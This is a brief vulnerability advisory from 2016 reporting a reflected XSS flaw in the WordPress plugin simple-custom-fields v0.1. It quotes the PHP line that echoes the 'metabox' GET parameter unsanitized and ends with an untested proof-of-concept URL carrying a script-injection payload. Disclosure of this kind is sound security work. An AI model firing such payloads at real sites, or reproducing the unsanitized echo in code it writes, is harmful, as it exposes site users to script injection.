Advisory #: 157
Title: Reflected XSS in wordpress plugin simple-custom-fields v0.1
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/simple-custom-fields
Downloads: 373
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: simple-custom-fields
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./simple-custom-fields/inc/class.admin.php: 412: <h2><?php _e('Simple Custom Fields Settings', 'simple-custom-fields'); ?> - <?php echo $_GET['metabox']; ?></h2> The variable metabox appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./simple-custom-fields/inc/class.admin.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/simple-custom-fields/inc/class.admin.php?metabox="><script>alert(1);</script><"